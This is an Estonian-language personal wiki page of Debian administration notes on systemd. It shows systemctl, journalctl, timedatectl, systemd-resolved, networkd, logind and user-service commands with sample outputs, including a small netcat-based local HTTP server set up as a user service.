Systemd kasutamine

Allikas: Imre kasutab arvutit
Mine navigeerimisribaleMine otsikasti

Sissejuhatus

systemd http://freedesktop.org/wiki/Software/systemd/ ...

Tundub, et 2014 aasta lõpus on Debian v. 8 Jessie koosseisus vaikimisi systemd

# ls -ld /sbin/init 
lrwxrwxrwx 1 root root 20 Sep 28 22:33 /sbin/init -> /lib/systemd/systemd

Tööpõhimõte

  • Turvalisus ja tegevuste isoleerimine failisüsteemi ja võrgu tasemel, http://0pointer.de/blog/projects/security.html
  • SysV käivitusskripti on imperatiivsed, st shell skriptid praktiliselt, systemd nö käivitusskriptid on deklaratiivsed, st nn .ini failidele sarnase sisuga

Paigaldamine

Tundub, et minimaalsele keskkonnale (nt debootstrap abil moodustatud) tuleb juurde lisada dbus ja polkit tugi, vastasel korral nt systemd-cgls programm ei tööta)

# apt-get install dbus libpolkit-agent-1-0

Kasutamine

Teenuse oleku küsimiseks sobib öelda

# systemctl status ssh.service
● ssh.service - OpenBSD Secure Shell server
   Loaded: loaded (/lib/systemd/system/ssh.service; enabled)
   Active: active (running) since Tue 2014-11-04 02:43:10 EET; 18h ago
 Main PID: 1956 (sshd)
   CGroup: /system.slice/ssh.service
           └─1956 /usr/sbin/sshd -D

kus

# cat /lib/systemd/system/ssh.service 
[Unit]
Description=OpenBSD Secure Shell server
After=network.target auditd.service
ConditionPathExists=!/etc/ssh/sshd_not_to_be_run

[Service]
EnvironmentFile=-/etc/default/ssh
ExecStart=/usr/sbin/sshd -D $SSHD_OPTS
ExecReload=/bin/kill -HUP $MAINPID
KillMode=process
Restart=on-failure

[Install]
WantedBy=multi-user.target
Alias=sshd.service

Teenuste nimekirja esitamiseks

# systemctl  list-units --type=service | head -n 5
  UNIT                                 LOAD   ACTIVE SUB     DESCRIPTION
  accounts-daemon.service              loaded active running Accounts Service
  acpid.service                        loaded active exited  LSB: Start the Advanced Configuration and Power Interface daemon
  amavis-mc.service                    loaded active exited  LSB: Startup script for amavis master supervisor
  amavis.service                       loaded active running LSB: Starts amavisd-new mailfilter

Tundub, et teenus saab olla mitmes olekus, üks variant teenuseid on sellised, mis arvuti käivitamisel nö korraks töötavad midagi sisse lülitades ja siis teevad exit, nt

# systemctl list-units --type=service --state=exited
UNIT                             LOAD   ACTIVE SUB    DESCRIPTION
getty-static.service             loaded active exited getty on tty2-tty6 if dbus and logind are not available
kbd.service                      loaded active exited LSB: Prepare console
keymap.service                   loaded active exited LSB: Set keymap
modules_dep.service              loaded active exited LSB: modules.dep creation.
netfilter-persistent.service     loaded active exited netfilter persistent configuration
networking.service               loaded active exited LSB: Raise network interfaces.
quota.service                    loaded active exited Check And Enable File System Quotas
rc-local.service                 loaded active exited /etc/rc.local Compatibility
systemd-random-seed.service      loaded active exited Load/Save Random Seed

systemd-timedated

timedatectl programmiga saab seadistada ajavööndit jms

# timedatectl list-timezones
# timedatectl set-timezone Europe/Tallinn

systemd-timedated on ntp klient, mis tuleb kasutamiseks sisse lülitada

# timedatectl set-ntp true

Tundub, et samaväärne on öelda

# systemctl enable systemd-timesyncd
# systemctl start systemd-timesyncd

Töötamissel annab timedatactl saranase vastuse

# timedatectl status
      Local time: Fri 2015-07-31 01:21:26 EEST
  Universal time: Thu 2015-07-30 22:21:26 UTC
        RTC time: Thu 2015-07-30 22:21:26
       Time zone: Europe/Tallinn (EEST, +0300)
     NTP enabled: yes
NTP synchronized: no
 RTC in local TZ: no
      DST active: yes
 Last DST change: DST began at
                  Sun 2015-03-29 02:59:59 EET
                  Sun 2015-03-29 04:00:00 EEST
 Next DST change: DST ends (the clock jumps one hour backwards) at
                  Sun 2015-10-25 03:59:59 EEST
                  Sun 2015-10-25 03:00:00 EET

kus

  • valitud ajavööndi Daylight Saving Time algus ja lõpp
  • kas NTP teenust töötab (systemd-timesyncd)

Spetsiifilise NTP serveri kasutamiseks sobib näidata ta seadistusfailis /etc/systemd/timesyncd.conf

# cat /etc/systemd/timesyncd.conf
[Time]
Servers=10.192.0.53

ja muudatuse kehtestamiseks öelda

# systemctl restart systemd-timesyncd

Tulemusena

# systemctl status systemd-timesyncd
● systemd-timesyncd.service - Network Time Synchronization
   Loaded: loaded (/lib/systemd/system/systemd-timesyncd.service; enabled)
   Active: active (running) since Fri 2015-07-31 09:13:18 EEST; 1min 43s ago
     Docs: man:systemd-timesyncd.service(8)
 Main PID: 1179 (systemd-timesyn)
   Status: "Using Time Server 10.192.0.53:123 (10.192.0.53)."
   CGroup: /system.slice/systemd-timesyncd.service
           └─1179 /lib/systemd/systemd-timesyncd

Jul 31 09:13:17 postkast systemd-timesyncd[1179]: Using NTP server 10.192.0.53:123 (10.192.0.53).
Jul 31 09:13:18 postkast systemd-timesyncd[1179]: interval/delta/delay/jitter/drift 32s/+0.621s/0.000s/0.000s/+0ppm
Jul 31 09:13:50 postkast systemd-timesyncd[1179]: interval/delta/delay/jitter/drift 64s/+0.000s/0.000s/0.000s/+0ppm
Jul 31 09:14:54 postkast systemd-timesyncd[1179]: interval/delta/delay/jitter/drift 128s/-0.000s/0.000s/0.000s/+0ppm

Taustal tegutseb lisaks systemd-timedated deemon, mis on static, st teda kutsutakse automaatselt vajadusel välja, st käivitatakse

# systemctl status systemd-timedated
● systemd-timedated.service - Time & Date Service
   Loaded: loaded (/lib/systemd/system/systemd-timedated.service; static)
   Active: inactive (dead)
     Docs: man:systemd-timedated.service(8)
           man:localtime(5)
           http://www.freedesktop.org/wiki/Software/systemd/timedated

Rakenduste kasutamine systemd keskkonnas

PostgreSQL kasutamine

Mitme PostgreSQL protsesside komplekti kasutamiseks sobib esmalt järgmise eksemplari osa failisüsteemis ettevalmistada nö tavalisel viisil

# pg_createcluster 9.4 test

ning käivitada

# systemctl start postgresql@9.4-test

Mitme PostgreSQL protsesside komplekti kasutamine paistab sedasi

# ps -U postgres -o pid,user,cgroup:150,args
  PID USER     CGROUP                                                                           COMMAND
10064 postgres 8:devices:/system.slice/system-postgresql.slice ... /postgresql@9.4-main.service /usr/lib/postgresql/9.4/bin/postgres -D /va ...
10070 postgres 8:devices:/system.slice/system-postgresql.slice ... /postgresql@9.4-main.service postgres: checkpointer process
10072 postgres 8:devices:/system.slice/system-postgresql.slice ... /postgresql@9.4-main.service postgres: writer process   
10074 postgres 8:devices:/system.slice/system-postgresql.slice ... /postgresql@9.4-main.service postgres: wal writer process   
10076 postgres 8:devices:/system.slice/system-postgresql.slice ... /postgresql@9.4-main.service postgres: autovacuum launcher process   
10078 postgres 8:devices:/system.slice/system-postgresql.slice ... /postgresql@9.4-main.service postgres: stats collector process   

10331 postgres 8:devices:/system.slice/system-postgresql.slice ... /postgresql@9.4-test.service /usr/lib/postgresql/9.4/bin/postgres -D /var ...
10333 postgres 8:devices:/system.slice/system-postgresql.slice ... /postgresql@9.4-test.service postgres: checkpointer process   
10334 postgres 8:devices:/system.slice/system-postgresql.slice ... /postgresql@9.4-test.service postgres: writer process   
10335 postgres 8:devices:/system.slice/system-postgresql.slice ... /postgresql@9.4-test.service postgres: wal writer process   
10336 postgres 8:devices:/system.slice/system-postgresql.slice ... /postgresql@9.4-test.service postgres: autovacuum launcher process   
10337 postgres 8:devices:/system.slice/system-postgresql.slice ... /postgresql@9.4-test.service postgres: stats collector process 

kus

  • erinevate PostgreSQL protsessi kompilektide protsessid on sama süsteemi kasutaja postgres omad, aga kuuluvad erinevatesse kerneli CGROUP'idesse

Tapmiseks nö -9 signaaliga

# systemctl kill -s SIGKILL postgresql@9.4-test.service

Samba

Teenuste seiskamine

# systemctl stop smbd
# systemctl stop nmbd

kontrolliks

# ps aux | grep mb

AD kasutamiseks

# systemctl start samba-ad-dc

OpenVPN

Kui OpenVPN kliendi seadisus asub failis /etc/openvpn/client.conf, siis käivitamiseks sobib öelda

# systemctl start openvpn@client.service

Serial konsool

Serial konsooli käivitamiseks sobib öelda

# systemctl enable serial-getty@ttyS0.service
Created symlink from /etc/systemd/system/getty.target.wants/serial-getty@ttyS0.service \
  to /lib/systemd/system/serial-getty@.service.

# systemctl start serial-getty@ttyS0.service

Tulemusena saab ipmitool, cu, minicom jt programmide abil pöörduda serial konsooli poole.

NUT

Tundub, et töötab, nt

# systemctl status nut-server
# systemctl status nut-client

iptables

Kasulikud lisamaterjalid

rsyslog

Peatamiseks

# systemctl stop syslog.socket rsyslog.service

vastasel korral tuleb sõnum sisse ja rsyslog teenus käivitatakse automaatselt.

Varnish

Kuulava pordi muutmine failis

# grep ^ExecS /lib/systemd/system/varnish.service 
ExecStart=/usr/sbin/varnishd -j unix,user=vcache -F -a :80 -T localhost:6082 -f /etc/varnish/default.vcl -S /etc/varnish/secret -s malloc,256m

Logimisel X-Forwarded-For kasutamiseks

# grep ^ExecS /lib/systemd/system/varnishncsa.service 
ExecStart=/usr/bin/varnishncsa -F '%%{X-Forwarded-For}i %%l %%u %%t \"%%r\" %%s %%b \"%%{Referer}i\" \"%%{User-agent}i\"' -a -w /var/log/varnish/varnishncsa.log

Muudatuste kehtestamiseks

# systemctl daemon-reload
# /etc/init.d/varnishncsa restart
# /etc/init.d/varnish restart

Logis on näha X-Forwarded-For päisest tulnud aadress ning tcp ühenduse teise otspunkti aadress

# tail -f /var/log/varnish/varnishncsa.log
10.204.62.115, 10.184.39.42 - - [02/Oct/2017:17:20:24 +0300] "GET http://www.moraal.ee/ HTTP/1.1" 200 612 "-" "Wget/1.17.1 (linux-gnu)"
10.204.62.115, 10.184.39.42 - - [02/Oct/2017:17:20:24 +0300] "GET http://www.moraal.ee/ HTTP/1.1" 200 612 "-" "Wget/1.17.1 (linux-gnu)"
10.204.62.115, 10.184.39.42 - - [02/Oct/2017:17:20:24 +0300] "GET http://www.moraal.ee/ HTTP/1.1" 200 612 "-" "Wget/1.17.1 (linux-gnu)"
...

Logimine

Systemd sisaldab logimise komponenti journald.

Süsteemi alglaadimine

Logimise haldusutiliit näitab vaikimisi kogu kogutud logi alates viimasest alglaadimisest, vanemad sissekanded eespool

# journalctl
-- Logs begin at Mon 2015-07-27 23:03:45 EEST, end at Tue 2015-07-28 08:41:14 EEST. --
Jul 27 23:03:45 systemd systemd-journal[171]: Runtime journal is using 4.0M (max allowed 9.3M, trying to leave 14.0M free of 89.7M available → current limit 9.3M).
Jul 27 23:03:45 systemd systemd-journal[171]: Runtime journal is using 4.0M (max allowed 9.3M, trying to leave 14.0M free of 89.7M available → current limit 9.3M).
Jul 27 23:03:45 systemd kernel: Initializing cgroup subsys cpuset
Jul 27 23:03:45 systemd kernel: Initializing cgroup subsys cpu
Jul 27 23:03:45 systemd kernel: Initializing cgroup subsys cpuacct
Jul 27 23:03:45 systemd kernel: Linux version 4.0.0-2-amd64 (debian-kernel@lists.debian.org) (gcc version 4.9.3 (Debian 4.9.3-2) ) #1 SMP Debian 4.0.8-2 (2015-07-22)
Jul 27 23:03:45 systemd kernel: Command line: BOOT_IMAGE=/vmlinuz-4.0.0-2-amd64 root=/dev/mapper/systemd-root ro console=ttyS0,9600
...

journald töötamisest annab tunnistust protsess

# ps aux | grep journald
..
root        172  0.1  1.0  35112  5208 ?        Ss   08:55   0:00 /lib/systemd/systemd-journald

Märkused

Tundub, et vahel võib The Journal seisma jääda (nt saab failisüsteem täis vms), see paistab sedasi ja midagi ei logita (nt logger protsessiga)

Mar 28 03:37:01 keskus systemd-journal[29787]: Journal stopped
-- Subject: The Journal has been stopped
-- Defined-By: systemd
-- Support: http://lists.freedesktop.org/mailman/listinfo/systemd-devel

Käivitamiseks

# systemctl start systemd-journald
# journalctl -xn
...
May 19 02:36:01 keskus systemd[1]: Starting Session 81008 of user root.
May 19 02:36:01 keskus systemd[1]: Started Session 81008 of user root.
May 19 02:36:01 keskus systemd[1]: Starting Journal Socket (/dev/log).
May 19 02:36:01 keskus systemd[1]: Listening on Journal Socket (/dev/log).
May 19 02:36:01 keskus systemd[1]: Starting Journal Socket.
May 19 02:36:01 keskus systemd[1]: Listening on Journal Socket.
May 19 02:36:01 keskus systemd[1]: Starting Journal Service...
May 19 02:36:01 keskus systemd[1]: Started Journal Service.
May 19 02:36:01 keskus systemd-journal[32447]: Journal started
-- Subject: The Journal has been started
-- Defined-By: systemd
-- Support: http://lists.freedesktop.org/mailman/listinfo/systemd-devel
--
-- The system journal process has been starting up, opened the journal
-- files for writing and is now ready to process requests.

Apache veebiserver

Kui Apache seadistusfailis on viga, siis see paistab journald juurest välja selline

# journalctl -u apache2
..
Jul 28 09:11:31 systemd systemd[1]: Starting LSB: Apache2 web server...
Jul 28 09:11:31 systemd apache2[2491]: Starting web server: apache2 failed!
Jul 28 09:11:31 systemd apache2[2491]: The apache2 configtest failed. ... (warning).
Jul 28 09:11:31 systemd apache2[2491]: Output of config test was:
Jul 28 09:11:31 systemd apache2[2491]: AH00526: Syntax error on line 1 of /etc/apache2/sites-enabled/000-default.conf:
Jul 28 09:11:31 systemd apache2[2491]: <VirtualHost> directive missing closing '>'
Jul 28 09:11:31 systemd apache2[2491]: Action 'configtest' failed.
Jul 28 09:11:31 systemd apache2[2491]: The Apache error log may have more information.
Jul 28 09:11:31 systemd systemd[1]: apache2.service: Control process exited, code=exited status=1
Jul 28 09:11:31 systemd systemd[1]: Failed to start LSB: Apache2 web server.
Jul 28 09:11:31 systemd systemd[1]: apache2.service: Unit entered failed state.
Jul 28 09:11:31 systemd systemd[1]: apache2.service: Failed with result 'exit-code'.

kus

  • journald tegeleb apache2 protsessidega seotud nö süsteemse logiga, mitte http päringute logimisega

Kasulikud lisamaterjalid

targetite vahel liikumine

Nö init=/bin/bash keskkonda liikumiseks tuleb kasutada bootloaderis tuuma real parameetrit

systemd.unit=emergency.target

tulemusena jõutakse (arvuti hostname on antud juhul systemd)

..
Welcome to Debian GNU/Linux stretch/sid!

[260222.496889] systemd[1]: Set hostname to <systemd>.
[  OK  ] Created slice Root Slice.
[260223.089638] systemd[1]: Created slice Root Slice.
[260223.096748] systemd[1]: Starting Root Slice.
[  OK  ] Created slice System Slice.
[260223.109289] systemd[1]: Created slice System Slice.
[260223.115005] systemd[1]: Starting System Slice.
[  OK  ] Started Emergency Shell.
[260223.134133] systemd[1]: Started Emergency Shell.
[260223.146296] systemd[1]: Starting Emergency Shell...
         Starting Emergency Shell...
[  OK  ] Reached target Emergency Mode.
[260223.192047] systemd[1]: Reached target Emergency Mode.
[260223.205684] systemd[1]: Startup finished in 3.658s (kernel) + 967ms (userspace) = 4.626s.
[260223.221455] systemd[1]: Starting Emergency Mode.
[260223.232336] systemd[157]: emergency.service: Failed at step EXEC spawning /bin/plymouth: No such file or directory
Welcome to emergency mode! After logging in, type "journalctl -xb" to view
system logs, "systemctl reboot" to reboot, "systemctl default" or ^D to
try again to boot into default mode.
Give root password for maintenance
(or press Control-D to continue): <root parool>
root@systemd:~#

Tavalisse nn multi-user režiimi jõudmiseks sobib öelda seejärel

# systemctl isolate multi-user.target

Arvuti väljalülitamiseks sh toitest

# systemctl poweroff

systemd-socket-proxyd

systemd-ocket-proxyd võimaldab käivitada teenuse selle poole pöördumisel. Nt nginx protsessid käivitatakse port 80 poole pöördumisel. Selleks tuleb

  • seadistada nginx server kuulama port 8080
# cat /etc/nginx/sites-available/default
..
server {
       listen 8080 default_server;
...
  • tekitada .service tüüpi unit (erinevalt man systemd-socket-proxyd soovitusest on JoinsNamespaceOf ja PrivateNetwork välja kommenteeritud ja lülitatud)
# cat /etc/systemd/system/proxy-to-nginx.service 
[Unit]
Rquires=nginx.service
After=nginx.service
# JoinsNamespaceOf=nginx.service
[Service]
ExecStart=/lib/systemd/systemd-socket-proxyd 127.0.0.1:8080
PrivateTmp=yes
PrivateNetwork=no
  • tekitada .socket tüüpi unit
# cat /etc/systemd/system/proxy-to-nginx.socket 
[Socket]
ListenStream=80

[Install]
WantedBy=sockets.target

Seejärel tuleb sisse lülitada ja käivitada socket unit (nginx ise ega proxy-to-nginx.service ei pea töötama)

# systemctl enable proxy-to-nginx.socket
# systemctl start proxy-to-nginx.socket

Tulemusena pöördudes aadressile http://127.0.0.1:80/ käivitatakse .service ja nginx protsessid.

Kasulikud lisamaterjalid

systemd-resolved

Paigaldada pakett libnss-resolve

# apt-get install libnss-resolve

Kirjeldada meelepärane nö ISP nimeserver

# cat /etc/systemd/resolved.conf

[Resolve]
DNS=10.192.0.53

Lülitada sisse systemd-resolved

# systemctl start systemd-resolved
# systemctl enable systemd-resolved

Testida systemd-resolved rekursiivse nimeserveri töötamist

# /lib/systemd/systemd-resolve-host kuutorvaja.eenet.ee
kuutorvaja.eenet.ee: 193.40.0.7

-- Information acquired via protocol DNS in 157.3ms.

Kustutada fail /etc/resolv.conf

# rm /etc/resolv.conf

Kasutada failis /etc/nsswitch.conf rida

hosts:          files resolve dns

Soovi korral

# ln -fs /run/systemd/resolve/resolv.conf /etc/resolv.conf

Debugi sisselülitamine

# cp /lib/systemd/system/systemd-resolved.service /etc/systemd/system

kus on sektsioonis Service lisatud debug

[Service]

..
Environment=SYSTEMD_LOG_LEVEL=debug

dns cache jms logisse kirjutamiseks

# kill -SIGUSR1 PID

Tulemuse esitamine

# systemd-resolve --status

Logi jälgimine

# journalctl -f -u systemd-resolved

localectl

# localectl list-locales
C.UTF-8
en_US.utf8

Service haldamine

Käivitamine

# systemctl start apache2

Oleku küsimine

# systemctl status apache2

Seiskamine

# systemctl stop apache2

Väljalülitamine, st selliselt seadistatud teenust ei käivitata automaatselt (süsteemi alglaadimisel, mingi event esinemisel vms), aga käsitsi start abil saab käivitada

# systemctl disable apache2

Sisselülitamiseks

# systemctl enable apache2

Maskeerimine, selliselt seadistatud teenust ei saa üldse käivitada

# systemctl mask apache2

Maskeerimise väljalülitamiseks

# systemctl unmask apache2

Kõigi service'ite nimekirja küsimine (töötavate küsimiseks jätta -a ära; sarnaselt saab küsida target, socket, mount)

# systemctl list-units --type service -a

Kõigi failide nimekirja küsimine

# systemctl list-unit-files --type=service

systemd seadistustes tehtud muudatuste esitamine

# systemd-delta

Sõltuvuste nimekirja esitamine

# systemctl list-dependencies sshd.service

Teenuse omaduste esitamiseks

# systemctl show sshd.service

Unitite seadistusfailidega töötamiseks sobib öelda (vastavalt redigeeritakse /etc/systemd/system/nginx.service, /etc/systemd/system/nginx.service.d/failinimi või esitatakse faili sisu)

# systemctl edit --full nginx.service
# systemctl edit nginx.service
# systemctl cat nginx.service

systemd-networkd

systemd-networkd tegeleb võrgu seadistamisega. Nt nspawn konteinerile saab võrgu seadistada selliselt

  • seadistada konteinerit hostiva arvuti võrguühendus nt bridge-utils bridge abil
  • tekitada konteinerisse seadistusfail (kui arvutis on mitu võrguliidest, siis võiks iga liidese jaoks olla oma fail)
# cat /etc/systemd/network/50-static.network 
[Match]
Name=host0

[Network]
Address=192.168.10.16/24
Gateway=192.168.10.254
  • /etc/network/interfaces failis kirjeldada vaid lo seade
# cat /etc/network/interfaces
source /etc/network/interfaces.d/*
auto lo
iface lo inet loopback
  • võrgu käivitamiseks öelda
# systemctl start systemd-networkd
  • ipv4 ja ipv6 aadressi seadistamiseks
..
[Network]
Gateway=192.168.10.254

[Address]
Address=192.168.10.16/24

[Address]
Address=110:1/64

Konsooli alglaadimisjärgse puhastamise lõpetamine

Järgneva töötamise eelduseks on /etc/default/grub failis "quiet" eemaldamine, vt man systemd -> ShowStatus 'Defaults to enabled, unless quiet is passed as kernel command line option, in which case it defaults to error.' Alternatiiv on kasutada kernel argumenti 'systemd.show_status=1'.

Viisakas variant

# systemctl edit getty@tty1
..

[Service]
TTYVTDisallocate=no

...

Vulgaarsem variant

# mkdir /etc/systemd/system/getty@tty1.service.d
# cat /etc/systemd/system/getty@tty1.service.d/noclear.conf
[Service]
TTYVTDisallocate=no

Ja järgmisel alglaadimisel enam ekraani ei puhastata

# reboot

NB! Selleks, et tuuma teateid oleks näha tuleb lisaks GRUB2 seadistusfailis kasutada rida

# cat /etc/default/grub
..
GRUB_CMDLINE_LINUX_DEFAULT=""
...

ning öelda

# update-grub

Kasulikud lisamaterjalid

journalctl kasuamine

Bootimisest alates antud logi sissekannete esitamiseks sobib öelda

# journalctl -b

Selleks, et näha erinevate bootimiskordade logi tuleb öelda

# mkdir /var/log/journal
# sed -ri s/^#Storage=auto/Storage=persistent/ /etc/systemd/journald.conf

tulemusena saab nimekirja vaadata

# journalctl --list-boots

ning konkreetse korra sissekandeid nt

# journalctl -b -2

Uniti vms logi follow režiimis esitamiseks

# journalctl -n 20 -f -u ssh

Systemd debugimine

TODO

Kasulikud lisamaterjalid

Ressursikasutuse kontrollimine

# grep -v "^#" /etc/systemd/system.conf

[Manager]
DefaultCPUAccounting=yes
DefaultBlockIOAccounting=yes
DefaultMemoryAccounting=yes
# systemctl set-property nginx.service MemoryLimit=10M

systemd-run

$ systemd-run --user --unit=limit-test.scope --scope -p MemoryAccounting=yes -p MemoryLimit=2M bash
$ systemctl show --user limit-test.scope | grep Mem
MemoryAccounting=yes
MemoryLimit=2M

või

root@ph-minio-01:~# systemd-run --user --scope -p MemoryMax=10M -p MemorySwapMax=0 bash
Running as unit: run-p10909-i11209.scope; invocation ID: d3b7a7cc8af2431282ac1e1e7d469e2a

root@ph-minio-01:~# python3 -c 'a = "x" * 20 * 1024 * 1024'
Killed

root@ph-minio-01:~#

systemd-boot

TODO

Kasulikud lisamaterjalid

systemd-logind

Mõisted

  • seat
  • session

Tööpõhimõte

Kasutaja sisselomisel moodustatakse nö sessioon

  • '$ systemd --user ..' - käivitatakse per kasutaja systemd lahendus (seejuurde kuulub systemd-user service'ite käivitamine)
  • '$ busctl lis') - per kasutaja dbus käivitamine (busctl list)
  • '$ lsns' - moodustatakse per kasutaja namespace'ide komplekt (user, mount, pid jne)
  • 'man pam_systemd' - pam kaudu kutsutakse välja kasutajapõhine systemd lahendus

nn linger abil saab kasutaja sessiooni tekitada automaatselt süsteemi algkäivituse käigus


Misc

systemd-logind asendab ConsoleKit lahenduse. nt saab küsida

# loginctl list-sessions
   SESSION        UID USER             SEAT             TTY             
        31          0 root             seat0            /dev/tty2       
       189       1001 priit            seat0            /dev/tty4       
         2       1000 imre             seat0                            
        c5        111 lightdm          seat0                            
       187       1001 priit            seat0            /dev/tty3       
        33       1000 imre             seat0                            

6 sessions listed.

Arvuti sees root kasutajana tavakasutaja service nimekirja küsimine

root@ph-minio-01:~# systemctl --user -M kasutaja@.host list-units --type=service
  UNIT             LOAD   ACTIVE SUB     DESCRIPTION
  dbus.service     loaded active running D-Bus User Message Bus
  nginx-08.service loaded active running My Nginx Quadlet Service
  nginx-09.service loaded active running My Nginx 09 Quadlet Service
...

kasutaja status küsimine

kasutaja@ph-minio-01:~$ loginctl user-status
kasutaja (1000)
   Since: Sun 2026-04-19 18:59:50 EEST; 1h 15min ago
   State: active
Sessions: *69 68
  Linger: no
    Unit: user-1000.slice
          ├─session-69.scope
          │ ├─3556 "sshd-session: kasutaja [priv]"
          │ ├─3563 "sshd-session: kasutaja@pts/1"
          │ ├─3564 -bash
          │ ├─3883 loginctl user-status
          │ └─3884 pager
...

kus

  • linger info - no

Kasulikud lisamaterjalid

systemd system service

TODO

systemd user service

Kui tavaliselt on kasutusel systemd põhises keskkonnas nn süsteemne systemd halduse lahendus, mis tegeleb teenus-protsessidega, siis systemd user service on selline asjakorraldus, kus sarnane tulemus saavutatakse tavakasutaja tingimustes. Üks võimalik lähtepunkt on, et süsteemi on tavakasutaja abil sisse logitud üle ssh ühes aknas

root@pwrk-02:~# ps U priit
  20185 ?        Ss     0:00 /usr/lib/systemd/systemd --user
  20187 ?        S      0:00 (sd-pam)
  20201 ?        S      0:00 sshd-session: priit@pts/0
  20202 pts/0    Ss     0:00 -bash

kus

  • sellega kaasneb kasutaja-põhise systemd protsessi töötamine

ja teises aknas asutakse tegutsema

root@pwrk-02:~# su - priit
priit@pwrk-02:~$ export XDG_RUNTIME_DIR=/run/user/1002

kus

  • systemctl --user ... leiab selle XDG kataloogi suhtes standardsest asukohast systemd user soketi (/run/user/1002/systemd/private)

systemd user service ehk kasutaja-põhine teenus paistab välja selline

priit@pwrk-02:~$ systemctl --user list-units | grep http
  bash-http-server.service    loaded active running   Bash Netcat HTTP Microservice

priit@pwrk-02:~$ systemctl --user status bash-http-server.service
● bash-http-server.service - Bash Netcat HTTP Microservice
     Loaded: loaded (/home/priit/.config/systemd/user/bash-http-server.service; enabled; preset: enabled)
     Active: active (running) since Sun 2025-10-12 20:39:01 UTC; 21min ago
   Main PID: 910 (bash-http-serve)
      Tasks: 2 (limit: 9410)
     Memory: 704.0K (peak: 1.4M)
        CPU: 5ms
     CGroup: /user.slice/user-1002.slice/user@1002.service/app.slice/bash-http-server.service
             ├─910 /bin/bash /home/priit/bin/bash-http-server
             └─913 nc -l -p 5100 -q 1

Oct 12 20:39:01 pwrk-02 systemd[869]: Started bash-http-server.service - Bash Netcat HTTP Microservice.

priit@pwrk-02:~$ curl http://127.0.0.1:5100
<h1>Hello from the Bash Server Service!</h1><p>Running as user: priit</p>

vastavad protsessid

root@pwrk-02:~# ps U priit
    PID TTY      STAT   TIME COMMAND
    885 ?        Ss     0:00 /usr/lib/systemd/systemd --user
    889 ?        S      0:00 (sd-pam)
    923 ?        Ss     0:00 /bin/bash /home/priit/bin/bash-http-server
    929 ?        S      0:00 nc -l -p 5100 -q 1

kus

  • haldav protsess (systemd --user) töötab sama kasutajana nagu hallatav protsess (bash-http-server ja nc) - võib olla ei ole see parim isolatsioon

programmi on selline

priit@pwrk-02:~$ cat /home/priit/bin/bash-http-server
#!/bin/bash
# A simple, single-page HTTP server using Netcat

# Port to listen on (high port recommended for unprivileged user)
LISTEN_PORT=5100

# The HTTP response content
HTTP_CONTENT="<h1>Hello from the Bash Server Service!</h1><p>Running as user: $(whoami)</p>"

# HTTP headers
HTTP_RESPONSE="HTTP/1.1 200 OK\r\n"
HTTP_RESPONSE+="Content-Type: text/html\r\n"
HTTP_RESPONSE+="Content-Length: ${#HTTP_CONTENT}\r\n"
HTTP_RESPONSE+="\r\n"
HTTP_RESPONSE+="${HTTP_CONTENT}"

# Loop forever, listening for connections and serving the response
while true; do
    # Use netcat to listen on the port, process one request, and close.
    # The 'echo' ensures the response is sent back.
    printf "%b" "$HTTP_RESPONSE" | nc -l -p $LISTEN_PORT -q 1
done

priit@pwrk-02:~$ chmod 0755 /home/priit/bin/bash-http-server

kasutaja-põhine systemd unit service

priit@pwrk-02:~$ mkdir -p .config/systemd/user
priit@pwrk-02:~$ cat .config/systemd/user/bash-http-server.service
[Unit]
Description=Bash Netcat HTTP Microservice

After=network-online.target
Wants=network-online.target

[Service]
ExecStart=/home/priit/bin/bash-http-server
Restart=always
RestartSec=5s

[Install]
# This is typically the correct target for persistent user services
WantedBy=default.target

Lülitatakse sisse kasutaja nö lingerdamine

imre@pwrk-02:~$ loginctl enable-linger priit

loetakse sisse systemd seadistuse muudatused

priit@pwrk-02:~$ systemctl --user daemon-reload

ning aktiveeritakse teenus + käivitatakse

priit@pwrk-02:~$ systemctl --user enable --now bash-http-server.service

Ootus on, et tulemusena käib teenus, nagu lõigu alguses on esitatud.

Kasulikud lisamaterjalid

journald user logs

TODO

tmpfiles-setup

tmpfiles-setup haldab programmide ajutiste jms failide jaoks kataloogide olemasolu eest

# ls -ld /usr/lib/tmpfiles.d/*
-rw-r--r-- 1 root root  238 Dec  2  2015 /usr/lib/tmpfiles.d/00rsyslog.conf
-rw-r--r-- 1 root root  153 Dec  2  2015 /usr/lib/tmpfiles.d/dbus.conf
-rw-r--r-- 1 root root  577 Jul  5 16:56 /usr/lib/tmpfiles.d/debian.conf
-rw-r--r-- 1 root root  362 Jul 19 02:56 /usr/lib/tmpfiles.d/home.conf
-rw-r--r-- 1 root root 1098 Jul 19 02:56 /usr/lib/tmpfiles.d/journal-nocow.conf
-rw-r--r-- 1 root root  812 Jul 19 02:56 /usr/lib/tmpfiles.d/legacy.conf
-rw-r--r-- 1 root root   61 Apr 16  2016 /usr/lib/tmpfiles.d/lvm2.conf
-rw-r--r-- 1 root root  239 Feb  5  2016 /usr/lib/tmpfiles.d/passwd.conf
-rw-r--r-- 1 root root  176 Feb 21  2016 /usr/lib/tmpfiles.d/postgresql.conf
-rw-r--r-- 1 root root   33 Jun  9  2015 /usr/lib/tmpfiles.d/screen-cleanup.conf
-rw-r--r-- 1 root root   31 Mar 16  2017 /usr/lib/tmpfiles.d/sshd.conf
-rw-r--r-- 1 root root  313 Jul  4 10:37 /usr/lib/tmpfiles.d/sudo.conf
-rw-r--r-- 1 root root 1544 Jul 19 02:56 /usr/lib/tmpfiles.d/systemd.conf
-rw-r--r-- 1 root root  496 Jul 19 02:56 /usr/lib/tmpfiles.d/systemd-nologin.conf
-rw-r--r-- 1 root root  637 Jul 19 02:56 /usr/lib/tmpfiles.d/tmp.conf
-rw-r--r-- 1 root root  532 Jul 19 02:56 /usr/lib/tmpfiles.d/var.conf
-rw-r--r-- 1 root root  623 Jul 19 02:56 /usr/lib/tmpfiles.d/x11.conf
-rw-r--r-- 1 root root   41 Aug 16 12:13 /usr/lib/tmpfiles.d/zabbix-agent.conf

Timer

TODO

# systemctl list-timers
NEXT                          LEFT     LAST                          PASSED  UNIT                         ACTIVATES
Tue 2017-07-25 06:52:49 EEST  6h left  Mon 2017-07-24 06:49:40 EEST  17h ago apt-daily.timer              apt-daily.service
Tue 2017-07-25 10:41:54 EEST  10h left Mon 2017-07-24 10:41:54 EEST  13h ago systemd-tmpfiles-clean.timer systemd-tmpfiles-clean.service

systemd-fstab-generator

Paistab, et systemd tekitab automaatselt /etc/fstab sisule vastavad unit failid /run alla, nt

# cat /run/systemd/generator/var-lib-postgresql.mount 
# Automatically generated by systemd-fstab-generator

[Unit]
SourcePath=/etc/fstab
Documentation=man:fstab(5) man:systemd-fstab-generator(8)
Before=local-fs.target
